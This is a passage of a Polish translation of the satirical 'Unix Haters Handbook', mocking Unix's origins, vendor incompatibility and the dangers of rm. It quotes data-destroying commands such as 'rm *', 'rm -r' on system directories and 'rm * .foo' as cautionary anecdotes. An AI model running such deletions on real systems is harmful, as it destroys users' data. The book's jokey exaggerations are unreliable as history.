Unix ma wszystkie cechy wysoko skutecznego wirusa. W swoim oryginalnym wcieleniu był bardzo mały i miał kilka funkcji. Minimalizm projektu był nadrzędny. Ponieważ brakowało mu funkcji, które zrobiłyby z niego prawdziwy system operacyjny (jak pliki mapowane w pamięci, szybkie operacje I/O, mocny system plików, blokowanie rekordów, plików i urządzeń, racjonalna komunikacja między procesami itp. itd.) był przenośny. Bardziej funkcjonalny system operacyjny byłby mniej przenośny. Unix żywi się energią gospodarza; bez administratora systemu opiekującego się Unixem regularnie panikuje, zrzuca core i się zatrzymuje. Unix często mutuje: łaty i poprawki poprawiające zachowanie jednej wersji nie działają na innych wersjach.

Unix jest wirusem komputerowym z interfejsem użytkownika.

13

Page 14: Unix Haters Handbook

Historia plagi

Korzenie plagi Unixowej sięgają lat 60., kiedy AT&T, General Electric i MIT wplątały się w projekt stworzenia nowego rodzaju systemu komputerowego. Mocno finansowany przez Agencję Zaawansowanych Projektów Badawczych Departamentu Obrony (znana jako ARPA), projekt polegał na stworzeniu pojedyńczego systemu komputerowego który byłby tak niezawodny jak elektrownia: stale dostarczałby zasobów obliczeniowych dla setek lub nawet tysięcy ludzi. System ten byłby wyposażony w redundantne centralne procesory, banki pamięci oraz procesory wejścia/wyjścia, tak że jeden z nich mógłby być naprawiany w czasie, gdy inne pracują. System był zaprojektowany tak, aby miał najwyższy stopień bezpieczeństwa, więc działania jednego użytkownika nie mogły mieć wpływu na innych. Jego cel zawarty był nawet w nazwie: Multics, skrót od MULTipleksowany Informacyjny i Komputerowy System.

Multics był zaprojektowany do zbierania i przechowywania dużej ilości danych, do używania jednocześnie przez wielu ludzi i do pomocy im w komunikowaniu. Ponadto chronił on użytkowników przed zewnętrznym atakiem. Był zbudowany jak czołg. Używanie Multicsa przypominało prowadzenie czołgu.

Projekt Multics ostatecznie osiągnął swoje cele. Ale w 1969 projekt był poza harmonogramem i AT&T wycofało się z uczestnictwa, pozostawiając trzech badaczy – Kena Thompsona, Dennisa Ritchie i Josepha Ossanna – z niespodziewaną ilością wolnego czasu. Po tym, jak programiści bezskutecznie próbowali przekonać zarząd do kupienia DEC System 10 (potężny wielozadaniowy komputer z wymyślnym, interaktywnym systemem operacyjnym), Thompson i jego przyjaciele wrócili do pisania (i grania) gry zwanej „Space Travel” na ich komputerze PDP-7 który stał nieużywany w kącie laboratorium.

Na początku Thompson używał GE645 jako cross-kompilatora programu Space Travel dla PDP-7. Ale szybko – zdając sobie sprawę że szybciej będzie napisać system operacyjny dla PDP-7 niż tworzyć Space Travel w wygodnym środowisku GE645 – Thompson napisał asembler, system plików i minimalny kernel dla PDP-7. Wszystko po to, aby grać w Space Travel. W ten sposób uknuty został Unix.

Podobnie jak naukowcy pracujący nad bronią biologiczną (inny projekt finansowany przez ARPA w tym samym czasie), wcześni badacze Unixa nie zdawali sobie sprawy z konsekwencji swoich działań. Ale w przeciwieństwie do eksperymentujących z bronią biologiczną, Thompson i Ritchie nie mieli żadnych zabezpieczeń. Naprawdę raczej zamiast powstrzymywania widzieli swoją rolę jako ewangelizatorzy. Thompson i koledzy napisali niewinnie kilka stron czegoś, co nazwali dokumentacją i zaczęli to rozsyłać.

Na początku infekcja Unixa była ograniczona do kilku wybranych grup wewnątrz Bell Labs. Zdarzyło się, że biuro patentowe Bell Labs potrzebowało systemu do przetwarzania tekstu. Kupili PDP-11/20 (wtedy Unix zmutował i rozprzestrzenił się na drugiego gospodarza) i stali się pierwszymi ofiarami wirusa. Do 1973 roku Unix rozprzestrzenił się na 25 różnych systemów wewnątrz laboratorium badawczego i AT&T był zmuszony do stworzenia Grupy Systemów Unixowych dla wewnętrznego wsparcia. Badacze z Uniwersytetu Columbia usłyszeli o Unixie i skontaktowali się z Ritchiem w sprawie kopii. Zanim ktokolwiek zorientował się co się dzieje, Unix wydostał się na wolność.

Literatura zapewnia, że sukces Unixa był spowodowany jego techniczną wyższością. To nie jest prawda. Unix był ewolucyjnie wyższy od swoich konkurentów, ale nie technicznie wyższy. Unix odniósł sukces komercyjny ponieważ był wirusem. Jego jedyną przewagą ewolucyjną był mały rozmiar, prosty projekt i wynikająca z nich przenośność. Potem stał się popularny, ponieważ został przeniesiony na trzech bardzo udanych gospodarzy: PDP-11, VAX i stacje Suna. (Sun właściwie był zaprojektowany do bycia przenośnikiem wirusa.)

Jak ujął to jeden z pracowników DEC:

14

Page 15: Unix Haters Handbook

From: CLOSET::E::PETER 29-SEP-1989 09:43:26.63To: closet::t_parmenterSubj: Unix

W mojej poprzedniej pracy sprzedawałem LispM, i byłem często pytany o Unixa. Jeżeli słuchacze nie byli mieszanej płci, czasami porównywałem Unixa do opryszczki – wiele osób ją ma, nikt jej nie chce, wszyscy się wkurzają kiedy ją mają i jeśli mogą, pozbywają się jej. Ludzi uśmiechali się, kiwali głowami i to zwykle kończyło dyskusję o Unixie.

Z co najmniej 20 producentów stacji roboczych którzy powstali lub już istnieli w okresie od późnych lat 70. do wczesnych lat 80. tylko kilku – Digital, Apollo, Symbolics, HP oparło się Unixowi. W 1993 Symbolics i Apollo zostały wykupione przez HP. Pozostałe firmy są teraz ściśle związane z Unixem.

Nagromadzenie przypadkowego materiału genetycznego

Chromosomy akumulują przypadkowy materiał genetyczny; ten materiał jest szczęśliwie i dorywczo kopiowany i przechodzi na kolejne pokolenia. Od kiedy genom ludzki został całkowicie zmapowany odkryliśmy, że tylko kilka procent z tego opisuje funkcjonowanie człowieka; reszta opisuje orangutany, nowych mutantów, teleewangelistów i sprzedawców używanych komputerów.

Tak samo jest z Unixem. Pomimo swoich małych początków, Unix nagromadził śmieci genetycznych w przerażającym tempie. Na przykład trudno znaleźć wersję Unixa która nie miałaby sterownika dla urządzenia do składania tekstu Linotronic lub Imagen, nawet jeśli większość użytkowników Unixa nigdy nie widziało takiego urządzenia. Jak zaobserwował Olin Sivers, oryginalne naciski ewolucyjne na Unixa zmniejszyły się i wtedy się zaczęło.

Date: Wed, 10 Apr 91 08:31:33 EDTFrom: Olin Shivers <[email protected]>To: UNIX-HATERSSubject: Unix evolution

Myślałem trochę o ogólnej ewolucji (używam tutaj luźno tego terminu) Unixa od czasu jego początków w Bell Labs, i doszedłem do następujących wniosków.

We wczesnych czasach PDP-11 programy Unixowe musiały spełniać następujące założenia:

Reguła 1. Program nie musi być dobry ani nawet poprawny.ale

Reguła 2. Program musi być mały.Stąd też podejście do zestawu narzędzi i tak dalej.Oczywiście, w miarę upływu czasu, sprzęt komputerowy stawał się coraz

potężniejszy: coraz szybsze procesory, przestrzeń adresowa przeszła od 16 do 32 bitów, staniała pamięć i tak dalej.

Zatem oryginalna reguła 2 straciła swoją ważność.

Dodatkowy materiał genetyczny dalej mutuje w miarę rozprzestrzeniania się wirusa. Nie jest ważne, a jaki sposób geny się tam znalazły; są kopiowane z pokolenia na pokolenia, a dalsze pokolenia są do siebie podobne w ten sam sposób co Woody Allen przypomina Michaela Jordana. To zachowanie zostało opisane w kilku książkach. Na przykład rozdział

15

Page 16: Unix Haters Handbook

15.3, „Routing Information Protocol (RIP)”, strona 183 świetnej książki pod tytułem Internetworking with TCP/IP autorstwa Douglasa Comera opisuje jak podrzędne geny przetrwały i mutują w kodzie sieciowym Unixa (paragraf 3):

Pomimo niewielkich ulepszeń w stosunku do poprzedników, popularność RIP oraz IGP nie powstała z powodów technicznych. Stało się tak dlatego, że Berkeley rozprowadzało program routed razem z popularnym systemem Unixowym BSD 4.X. Tak więc, wielu użytkowników zaadoptowało i zainstalowało routed i zaczęło używać RIP nawet bez rozważenia jego technicznych zalet czy ograniczeń.

W następnym paragrafie czytamy:

Prawdopodobnie najbardziej zaskakującym faktem dotyczącym RIP jest to, że został zbudowany i szeroko rozpowszechniony bez formalnego standardu. Większość implementacji jest pochodną kodu Berkeley, ze zdolnością do wzajemnej współpracy ograniczoną zrozumieniem przez programistę nieudokumentowanych detali i subtelności. Kiedy pojawia się nowa wersja, powstają nowe problemy.

Zupełnie jak klasyczna stacja radiowa, która emituje piosenki z różnych dekad, Unix jednocześnie pokazuje swoją mieszaną i przestarzałą spuściznę. Są tutaj interfejsy graficzne z epoki Clash; dwuliterowe nazwy komend i programów systemowych z epoki Beatlesów (na przykład ps), których zwięzłe i niejasne dane na wyjściu były zaprojektowane dla wolnych dalekopisów; edycja komend z epoki Bing Crosby - # i @ są nadal standardowymi komendami liniowego edytora komend; wreszcie zrzuty core z epoki Scott Joplin.

Inni zauważyli, że Unix jest raczej ewolucyjnie niż technicznie wyższy od swoich konkurentów. Richard P. Gabriel w swoim eseju „Gorsze jest lepsze” wyjaśnia ten temat (patrz załącznik A). Jego teza, że filozofia Unixa wymaga, żeby wszystkie decyzje projektowe opowiadały się za prostotą implementacji, nie za poprawnością, spójnością i kompletnością. Nazwał tą filozofię „gorsze jest lepsze” i pokazuje jak powstają programy technicznie słabsze od tych projektowanych z myślą o poprawności i spójności, które jednocześnie są ewolucyjnie wyższe z powodu łatwości przenoszenia. Zupełnie jak wirus. Wirusy nie są eleganckie, ale są bardzo skuteczne. Prawdopodobnie ty też umrzesz z powodu jednego z nich.

Pocieszająca myśl.

Sex, narkotyki i Unix

Podczas gdy Unix rozprzestrzeniał się jak wirus, jego przyjęcie przez tak wielu może być porównane inaczej – do tworzenia narkotyków.

Zupełnie jak dobry handlarz narkotyków, AT&T dawał darmowe próbki Unixa uniwersytetom w latach 70. Badacze i studenci mieli lepsze zdanie o Unixie niż o jakimkolwiek innym systemie operacyjnym. Był tani, plastyczny, chodził na relatywnie niedrogim sprzęcie. Był też lepszy do ich potrzeb od czegokolwiek innego, co mogli pozyskać. Lepsze systemy które wkrótce konkurowały z Unixem potrzebowały sprzętu którego uniwerstety nie mogły kupić, nie były „darmowe” albo były ciągle jeszcze w produkcji. Polityka AT&T wyprodukowała bez żadnych kosztów własnych wielu Unixowych hackerów którzy byli psychologicznie, jeśli nie chemicznie uzależnieni od Unixa.

Kiedy pojawił się mikroprocesor Motorola 68000 powstały tuziny firm produkujących sprzęt. Bardzo niewiele z nich miało znaczące doświadczenie dotyczące systemów operacyjnych. Prawie wszystkie z nich użyły Unixa, ponieważ był przenośny i ponieważ hackerzy Unixowi nie mieli innego sposobu na łatwe i tanie wprowadzenie swoich poprawek.

16

Page 17: Unix Haters Handbook

Ci programiści potrafili prowizorycznie przywiązać (nazwali to „portowaniem”) Unixa do innej platformy. Dla tych producentów sprzętu Unix był wyborem ekonomicznym.

Czy użytkownicy chcą systemu operacyjnego w którym błędy nie są poprawiane? Niekoniecznie. Czy użytkownicy chcą systemu operacyjnego z okropnym zestawem narzędzi? Prawdopodobnie nie. Czy użytkownicy naprawdę chcą systemu operacyjnego ze straszliwym i niebezpiecznym interfejsem użytkownika? Nie ma mowy. Czy użytkownicy chcą systemu operacyjnego bez plików mapowanych do pamięci? Nie. Czy użytkownicy chcą systemu operacyjnego który nie potrafi działać dłużej niż kilka dni (czasem godzin)? Nie. Czy użytkownicy chcą najtańszej stacji roboczej obsługującej kompilator i linker? Absolutnie tak. Będą zatem gotowi na kilka poświęceń.

Użytkownicy mówili że chcą Unixa bo jest lepszy niż „kamienne noże i niedźwiedzie skóry” w środowiskach FORTRANu i Cobolu używanych od trzydziestu lat. Ale poprzez wybór Unixa nieświadomie zignorowali lata badań nad systemami operacyjnymi które dużo lepiej potrafiłyby rozwiązać ich problemy. To nie miało znaczenia – Unix był lepszy niż to, co mieli wtedy. W 1984, według danych DEC, ¼ instalacji VAXów w USA chodziła pod Unixem, nawet pomimo tego, że DEC go nie wspierał.

Sun Microsystems odniósł sukces, ponieważ produkował najtańsze stacje robocze, nie dlatego że były najlepsze albo zapewniały najlepszy stosunek ceny do wydajności. Wysokiej jakości system operacyjny wymagał zbyt dużo mocy obliczeniowej. Unix był zatem wyborem ekonomicznym, nie technicznym. Unix był wpisany w biznesplan Suna, jego założycielami byli Unixowi hackerzy i klienci dostali to, za co zapłacili.

Standaryzowanie niezgodności

„Najpiękniejszą rzeczą w standardach jest to, że jest ich tak wiele do wyboru”.

- Grace Murray Hopper

Pomimo że Unix zdobył popularność w latach 80., ciągle trwają wysiłki części sprzedawców systemów Unixowych w celu „ustandaryzowania” systemu operacyjnego. Chociaż często wygląda na to, że wysiłki te mają miejsce w materiałach prasowych a nie na ekranach programistów, giganci jak Sun, IBM, HP i DEC wydali miliony dolarów na rozwiązanie tego problemu – problemu, który w dużej części sami stworzyli.

Dlaczego sprzedawcy naprawdę nie chcą standardowego Unixa

Nacisk na zunifikowanego Unixa bierze się głównie od klientów, którzy widzą nadmiar Unixów, stwierdzają że są dla nich zbyt skomplikowane i w końcu kupują klon PC z Windowsem. Pewnie, klienci raczej kupiliby w podobnej cenie stację roboczą z „prawdziwym” systemem operacyjnym (zostali oszukani i wierzą że to Unix), ale zawsze jest ryzyko, że krytyczna dla potrzeb klienta aplikacja nie będzie wspierana w konkretnym rodzaju Unixa zakupionym przez klienta.

Drugim powodem dla którego klienci chcieliby kompatybilnych wersji Unixa jest to, że błędnie wierzą, że kompatybilność programowa zmusiłaby sprzedawców sprzętu do konkurencji w cenie i wydajności, a w końcowym efekcie do zmniejszenia cen stacji roboczych.

Oczywiście, oba te powody są tymi samymi powodami dla którego firmy takie jak Sun, IBM, HP i DEC naprawdę nie chcą zunifikowanej wersji Unixa. Gdyby każda stacja robocza Suna, IBM, HP i DEC chodziła na tym samym oprogramowaniu, firma która ma 3 miliony dolarów zobowiązania względem Suna nie miałaby żadnego powodu aby dalej

17

Page 18: Unix Haters Handbook

używać linii produktów Suna: mogliby równie dobrze kupić stacje HP albo DEC gdyby te firmy oferowały lepszą cenę.

Jak na ironię, jednym z powodów dla którego klienci wybierają Unixa jest obietnica „otwartego systemu”, który mógłby zastąpić ich niestandardowe mainframe’y i minikomputery. W końcowej analizie przejście na Unixa oznacza przejście na nowy niestandardowy system, który jest niestandardową wersją Unixa.

Date: Wed, 20 Nov 91 09:37:23 PSTFrom: [email protected]: UNIX-HATERSSubject: Unix names

Prawdopodobnie śledzenie nazw różnych wersji Unixa nie jest problemem dla większości ludzi, ale dzisiaj jeden z redaktorów u nas w NeXTWORLD zapytał mnie jaka jest różnica pomiędzy AIX i A/UX.

„AIX to Unix od IBM. A/UX to Unix od Apple.”„Jaka jest różnica?” – zapytał.„Nie jestem pewien. Oba są AT&T System V z niepotrzebnymi zmianami. HP-UX to wersja Systemu V od HP z niepotrzebnymi zmianami. DEC nazywa swój system ULTRIX. DGUX jest od Data General. I nie zapomnij o Xenix – jest od SCO.”

NeXT, tymczasem, nazywa swoją wersję Unixa (tak naprawdę to jest Mach z owiniętym wokół niego Unixem z martwym mózgiem) NEXTSTEP. Ale jest niemożliwe zdefiniować czym jest NEXTSTEP: interfejsem graficznym? Objective-C? Środowisko? Mach? Co to jest?

Na początku wielu sprzedawców chciało używać słowa „Unix” w opisie swoich produktów, ale zostali powstrzymani przez prawników AT&T, którzy myśleli że słowo „Unix” jest wartościowym znakiem towarowym. Sprzedawcy podjęli nazwy typu VENIX i ULTRIX dla uniknięcia prawdopodobieństwa procesów.

W dzisiejszych czasach większość sprzedawców nie chciałaby używać tego słowa na U jeśli mieliby wybór. Nie chodzi o uniknięcie procesów, ale o podkreślenie różnicy pomiędzy nowym i ulepszonym Unixem a wszystkimi innymi wersjami Unixa które ledwo spełniają standardy przemysłowe.

Trudno oprzeć się byciu nieustępliwym w stosunku do sprzedawców. Pomimo wszystkiego, jednym tchem mówią, że chcą zaoferować użytkownikom i projektantom zwykłe środowisko Unixa. W następnym tchu mówią że chcą zrobić własną zastrzeżoną wersję Unixa trochę lepszą niż konkurenci: dodać kilka funkcji, poprawić funkcjonalność, dostarczyć lepsze narzędzia administracyjne i już można podnieść cenę. Każdy, kto myśli że prawda leży gdzieś pośrodku ma oczy zawiązane wełną.

Date: Sun, 13 May 90 16:06 EDTFrom: John R. Dunning <[email protected]>To: [email protected], UNIX-HATERSSubject: Unix: the last word in incompatibility.

Date: Tue, 8 May 90 14:57:43 EDTFrom: Noel Chiappa [email protected]

18

Page 19: Unix Haters Handbook

[…]

Myślę, że Unix i płatki śniegu to dwie jedyne klasy obiektów we wszechświecie, w których żadne dwa obiekty nie są całkowicie identyczne.

Myślę, że to prawda, i przypomina mi to pewną historię. Parę lat temu, kiedy byłem konsultantem, pracowałem w zespole ludzi budujących graficzne interfejsy użytkownika. Używali różnych rodzajów Unixa na PDP-11 dla rozwoju i planowali sprzedawać to dla OEMów. Moim zadaniem było sprawdzanie różnych wariantów Unixa chodzących na sprzęcie klasy multibus aby zobaczyć który najlepiej spełniałby ich potrzeby.

Proces sprawdzania w większości polegał na próbie skompilowania i uruchomienia programu testowego, który był wczesnym prototypem produktu na różnych *nixach. Bułka z masłem, powiedziałem. Ale jeden ze sprzedawców zmienił kolejność argumentów w tej klasie funkcji systemowych. A popatrz na to: błąd w kompilatorze Xenixa zabrania ci używania [byte-sized frobs] tutaj, musisz to zasymulować przy użyciu struktur i związków itp. Jak zapewne wiesz, usługi czasu pseudo-rzeczywistego w Venixie w ogóle nie działają, musisz sobie poradzić sam. Do obrzydzenia.

Nie pamiętam szczegółów który wariant miał jaki problem, ale w rezultacie z pięciu wypróbowanych systemów nie było żadnych dwóch kompatybilnych w czymkolwiek poza trywialnymi programami! Byłem zaszokowany. Byłem pod wrażeniem tego, że klasa systemów operacyjnych o której się twierdzi że jest kompatybilna przejawia tego typu głupotę. Najbardziej jednak zdziwiło mnie to, że żaden hacker *nixowy nie był tym zaskoczony. Ich postawa wyglądała mniej więcej tak: „Skoro tak, dodamy sobie kilka #ifdef tutaj, kilka fałszywych interfejsów bibliotek tam, w czym jest problem?”

Nie wiem, czy z tej historii płynie jakiś morał poza tym, że nigdy nie należy ufać czemukolwiek związanemu z Unixem że będzie kompatybilne z czymkolwiek innym związanym z Unixem. Jakiś czas później słyszałem że powyższy zespół programistów przekroczył plan o dwa lata, w końcu wyrzucili całkiem Unixa i wypuścili swój produkt na platformie MS-DOS. Stwierdzili, że tylko w taki sposób uda im się kiedykolwiek ukończyć pracę nad projektem!

W 1989 roku inżynier z Wydziału Matematyki Stosowanej i Technologii Komputerowej Laboratoriów Alcoa krytykował na liście mailowej Petera Neumanna RISKS używanie pojęcia „standard” w odniesieniu do systemów typu Unix. Prawdziwe standardy, jak pisze Schilling, odnoszą się do fizycznych obiektów jak stalowe belki: pozwalają projektantom zamówić element z katalogu i włączyć go to swojego projektu przewidując, jak będzie się zachowywał w warunkach prawdziwego świata. „Jeśli belka zawiedzie, prawnicy budowniczego dzwonią do producenta belki w sprawie przedyskutowania spraw takich jak rekompensata i karne sankcje.” Najwidoczniej groźba odpowiedzialności utrzymuje większość firm w szczerości; ci którzy nie są szczerzy najprawdopodobniej szybko zakończą działalność.

Takie pojęcie standardu jest nie do zastosowania w przypadku oprogramowania. Jaki rodzaj specyfikacji musi spełniać dana wersja Unixa? POSIX? X/Open? CORBA? W tych standardach jest tak wiele miejsca na kręcenie, że pomysł odpowiedzialności firmy za ich niespełnianie jest absurdalny. Faktycznie każdy stosuje wymyślone przez siebie standardy, toteż żadne produkty nie są kompatybilne.

19

Page 20: Unix Haters Handbook

Sun Microsystems ogłosił niedawno że łączy się z NeXT w celu ogłoszenia OpenStep, nowego standardu obiektowo zorientowanych interfejsów użytkownika. W celu zapewnienia tej otwartości, Sun owinie C++ i DOE dookoła Objective-C i NEXTSTEPa. Nie możesz się zdecydować, którego standardu przestrzegać? Nie ma problemu: możesz przestrzegać ich wszystkich.

Pod warunkiem że nie masz żadnej pracy do zrobienia w międzyczasie.

Mity Unixa

Narkomani kłamią sami sobie. „Kufel nie uczyni mnie głupim”. „Chcę tylko raz spróbować”. „Mogę przestać kiedy zechcę”. Jeśli będziesz na rynku narkotyków, usłyszysz takie kłamstwa.

Unix ma własną kolekcję mitów, forsowanych przez sieć sprzedawców. Może już wcześniej je widziałeś:

1. Unix jest standardowy.2. Unix jest szybki i efektywny.3. To dobry system operacyjny do wszystkich zastosowań.4. Jest mały, prosty i elegancki.5. Skrypty shellowe i [pipelines] są świetnym sposobem strukturowania złożonych

problemów i systemów.6. Jest udokumentowany online.7. Jest udokumentowany.8. Jest napisany w języku wysokiego poziomu.9. X i Motif powodują że Unix jest tak prosty i przyjazny użytkownikom jak Macintosh.10. Procesy są tanie.11. Unix wynalazł:

- hierarchiczny system plików,- pocztę elektroniczną,- sieć komputerową i protokoły sieciowe,- zdalny dostęp do plików, - finger,- ujednolicone traktowanie urządzeń I/O.

12. Unix jest produktywnym środowiskiem programistycznym.13. To nowoczesny system operacyjny.14. Jest tym, czego chcą ludzie.15. Kod źródłowy:

- jest dostępny,- jest zrozumiały,- to co kupujesz od producenta zgadza się z tym, czego używasz.

Większość tych mitów zostanie przedyskutowana i obalona na dalszych stronach.

20

Page 21: Unix Haters Handbook

Rozdział 2: Witaj, nowy użytkowniku!

Rosyjska ruletka z sześcioma załadowanymi nabojami.

Ken Thompson ma samochód, który pomagał projektować. Inaczej niż we wszystkich samochodach, nie ma szybkościomierza, wskaźnika paliwa ani żadnej z licznych głupich lampek które są zmorą współczesnego kierowcy. Zamiast tego, kiedy kierowca popełnia błąd, gigantyczny „?” zapala się w centrum deski rozdzielczej. „Doświadczony kierowca”, mówi Thompson, „zwykle wie co jest nie tak”.

- Anonim

Nowi użytkownicy systemu komputerowego (ci zaprawieni też) wymagają pewnej ilości serdeczności od tego systemu. Jako minimum, łaskawy komputer oferuje swoim gościom następujące udogodnienia:

- logiczne nazwy komend pochodzące od ich funkcji,- ostrożne traktowanie niebezpiecznych komend,- spójność i przewidywalność – jak zachowują się komendy i jak interpretują opcje i

argumenty,- łatwa do znalezienia i przeczytania dokumentacja online,- wyczerpujące i pomocne wsparcie kiedy komenda zawodzi.

Kiedy Unix był w budowie, nie był gospodarzem żadnych gości. Każdy odwiedzający był budowlańcem któremu dano twardy kapelusz i pokazano na nieukończoną część baraków. Niestety, inżynierów czynnika ludzkiego nigdy nie zaproszono na budowę, ich potrzeby nigdy nie zostały przewidziane i zaplanowane. Stąd też wiele standardowych udogodnień jak spłukiwane toaliety, centralne ogrzewanie i otwieralne okna są teraz straszliwie trudne i kosztowne do wprowadzenia. Niemniej jednak budowniczowie nadal podziwiają swoje dzieło; nie przejmują się nawet spaniem na podłodze w pokojach bez czujników dymu.

Przez większość swojej historii Unix był wehikułem badawczym dla uniwersytetów i badań przemysłowych. Z eksplozją tanich stacji roboczych, Unix wszedł w nową epokę jako platforma dostawcza. Ta zmiana jest łatwa do uchwycenia: nastąpiła kiedy sprzedawcy stacji roboczych usunęli kompilatory C ze standardowego zestawu oprogramowania, aby zmniejszyć ceny dla nieprojektantów. Ten archaiczny zapis jest trochę niejasny jeśli chodzi o granicę tych zmian, ale w większości nastąpił w 1990. Tak więc tylko w trakcie ostatnich kilku lat sprzedawcy interesują się potrzebami użytkowników końcowych, a nie programistów. To wyjaśnia, dlaczego firmy próbują pisać graficzne interfejsy użytkownika aby „zastąpić” potrzebę shella. Nie zazdrościmy tym firmom zadania.

Tajemnicze nazwy komend

Nowicjusz Unixa zawsze jest zaskoczony wyborem nazw komend. Żaden trening na DOSie albo Macu nie przygotowuje do majestatycznego piękna dwuliterowych komend jak cp, rm i ls.

Ci spośród nas, którzy używali urządzeń I/O we wczesnych latach 70. podejrzewają, że degeneracja ma swoje źródło w szybkości, niezawodności i przede wszystkim w klawiaturze dalekopisu ASR-33 Teletype, najpopularniejszego urządzenia I/O tamtych

21

Page 22: Unix Haters Handbook

czasów. W przeciwieństwie do dzisiejszych klawiatur, w których odległość jaką przebywa klawisz oparta jest na podstawie reakcji, a jedyną siłą wymaganą jest siła potrzebna do zamknięcia mikroprzełącznika, klawisze w tym dalekopisie potrzebowały przebyć przynajmniej pół cala i wymagały siły niezbędnej do poruszenia małego generatora elektrycznego podobnego do stosowanych w rowerach. Można było sobie połamać palce pisząc na tych bestiach.

Gdyby Dennis i Ken mieli Selectric-a zamiast Teletype, prawdopodobnie pisalibyśmy „copy” i „remove” zamiast „cp” i „rm”. Jest to dowód, że technologia równie często ogranicza nasze wybory co je rozszerza.

Po więcej niż 20 latach, co usprawiedliwia kontynuację tej tradycji? Nieubłagana siła historii albo istniejące kody i podręczniki. Gdyby sprzedawca zastąpił rm przez dajmy na to remove, wówczas żadna książka opisująca Unixa nie dotyczyłaby jego systemu i żaden skrypt shellowy używający rm nie uruchomiłby się. Taki sprzedawca mógłby równie dobrze zatrzymać implementację standardu POSIX.

Sto lat temu szybkie maszynistki blokowały swoje maszyny, więc inżynierowie zaprojektowali klawiaturę QWERTY żeby je spowolnić. Klawiatury komputerowe się nie zacinają, ale ciągle żyjemy z klawiaturami QWERTY. Za sto lat świat ciągle będzie używał rm.

Wypadki się zdarzają

Użytkownicy dbają o swoje pliki i dane. Używają komputerów do generowania, analizowania i przechowywania ważnych informacji. Wierzą, że komputer ochroni ich wartościową własność. Bez tego zaufania stosunki stają się napięte. Unix nadużywa naszego zaufania poprzez niezachwianą odmowę ochrony swoich klientów przed niebezpiecznymi komendami. W szczególności taką komendą jest rm, najniebezpieczniejsza z komend, której sensem istnienia jest kasowanie plików.

Wszyscy nowicjusze Unixowi „przypadkiem” i nieodwracalnie skasowali ważne pliki. Nawet eksperci i admini „przypadkowo” kasują pliki. Rachunek za stracony czas, wysiłek i odzyskiwanie plików prawdopodobnie opiewa na miliony dolarów rocznie. Ten problem jest wart rozwiązania; nie rozumiemy dlaczego Unixowcy odmawiają w tym momencie. Czy niedola tak bardzo lubi towarzystwo?

Pliki giną i wymagają reinkarnacji częściej pod Unixem niż pod jakimkolwiek innym systemem operacyjnym Oto dlaczego:

1. W systemie plików Unixa brak obsługi numerów wersji.Automatyczne zaznaczanie wersji pliku, polegające na zapisywaniu zmienionych plików pod inną nazwą lub rozszerzeniem zachowuje poprzednie wersje tych plików. To zapobiega nadpisywaniu starych plików przez ich nowsze wersje. Nadpisywanie jest powszechne w Unixie.

2. Programiści Unixowi mają kryminalnie niedbałe podejście do raportowania i sprawdzania błędów.Wiele programów nie kłopocze się sprawdzeniem, czy wszystkie bajty ich pliku wyjściowego zostały zapisane na dysk. Niektóre nie zawracają sobie nawet głowy sprawdzeniem, czy plik wyjściowy został w ogóle utworzony. Pomimo tego te programy kasują pliki wyjściowe po zakończeniu działania.

3. Shell Unixa, nie jego klienci, ekspanduje „*”.

22

Page 23: Unix Haters Handbook

Ekspandowanie przez shell „*” przeciwdziała zdroworozsądkowemu sprawdzeniu przez programy takie jak rm, które mogłoby zapobiec morderstwom i okaleczeniom. Nawet DOS weryfikuje potencjalnie niebezpieczne komendy jak „del *.*”. Pod Unixem program kasujący pliki nie potrafi odróżnić czy użytkownik napisał:% rm *

czy:% rm plik1 plik2 plik3 ...

Taka sytuacja mogłaby być nieco złagodzona gdyby oryginalna linia poleceń byłaby w jakiś sposób zapisywana i przekazywana do wywoływanej komendy. Być może mogłoby to być włączone do jednej z tych przydatnych zmiennych środowiskowych.

4. Kasowanie plików jest nieodwołalne.Unix nie ma komendy „undelete”. W innych, bezpieczniejszych systemach operacyjnych, skasowanie pliku zaznacza bloki zajęte przez ten program jako „możliwe do użycia” i przenosi wpis katalogu do specjalnego katalogu „pliki skasowane”. Jeśli dysk się zapełnia, miejsce zajmowane przez skasowane pliki jest odzyskiwane.Większość systemów operacyjnych używa takiego dwustopniowego kasowania plików. To nie jest nic nowego, nawet Macintosh w 1984 oddzielał „wyrzucenie pliku do kosza” od „opróżnienia kosza”. Tenex miał to już w 1974.DOS i Windows oferują coś podobnego bardziej do syfonu kanalizacyjnego niż kosza na śmieci. Po prostu kasują plik, ale jeśli chcesz włożyć tam rękę i go wyciągnąć z powrotem, przynajmniej istnieją programy użytkowe służące do tego. Czasami nawet działają.

Te cztery problemy występują wspólnie, powodując niepotrzebne ale możliwe do przewidzenia codzienne straty plików. Lepsze techniki były zrozumiałe i szeroko rozpowszechnione przed nadejściem Unixa. Są teraz stracone razem z akceptacją Unixa jako światowego „standardowego” systemu operacyjnego.

Witaj w przyszłości.

„rm” jest wieczny

Zasady podane powyżej łączą się tworząc historie rodem z horroru. Lista przykładów wziętych z grupy Usenetowej alt.folklore.computers ilustruje naszą sytuację:

Date: Wed, 10 Jan 90From: [email protected] (Dave Jones)Subject: rm *Newsgroups: alt.folklore.computers

Czy ktoś próbował kiedyś napisać:

% rm *.o

A przez przypadek napisał:

% rm *>o

Teraz ma jeden nowy pusty plik nazwany „o”, ale ile miejsca na niego!

23

Page 24: Unix Haters Handbook

W praktyce może nawet nie powstać plik nazwany „o”, ponieważ dokumentacja shella nie precyzuje, czy plik wyjściowy „o” ma być utworzony przed, czy po ekspansji. Shell może i jest językiem programowania, ale bardzo nieprecyzyjnym.

Date: Wed, 10 Jan 90 15:51 CSTFrom: [email protected]: Re: rm *Newsgroups: alt.folklore.computers

Też miałem podobną katastrofę używając rm. Usuwałem z dysku katalogi w stylu /usr/foo/bin. Byłem w /usr/foo i usunąłem część katalogów:

% rm -r ./etc% rm -r ./adm

... i tak dalej. Ale kiedy chciałem usunąć ./bin, zgubiłem kropkę. System nie lubi takich rzeczy.

Unix nie został zaprojektowany do przetrwania po śmiertelnym ciosie utraty katalogu /bin. Inteligentny system operacyjny dałby użytkownikowi szansę odzyskania plików (lub przynajmniej potwierdzenia czy naprawdę chce rozwalić system).

Fanatycy Unixa traktują okazjonalne kasowanie plików jako normalne. Na przykład, rozważmy następujący wyjątek z FAQ grupy comp.unix.questions:

5) Jak można odzyskać skasowany plik?

Pewnego dnia przypadkowo napiszesz coś w rodzaju:

% rm * .foo

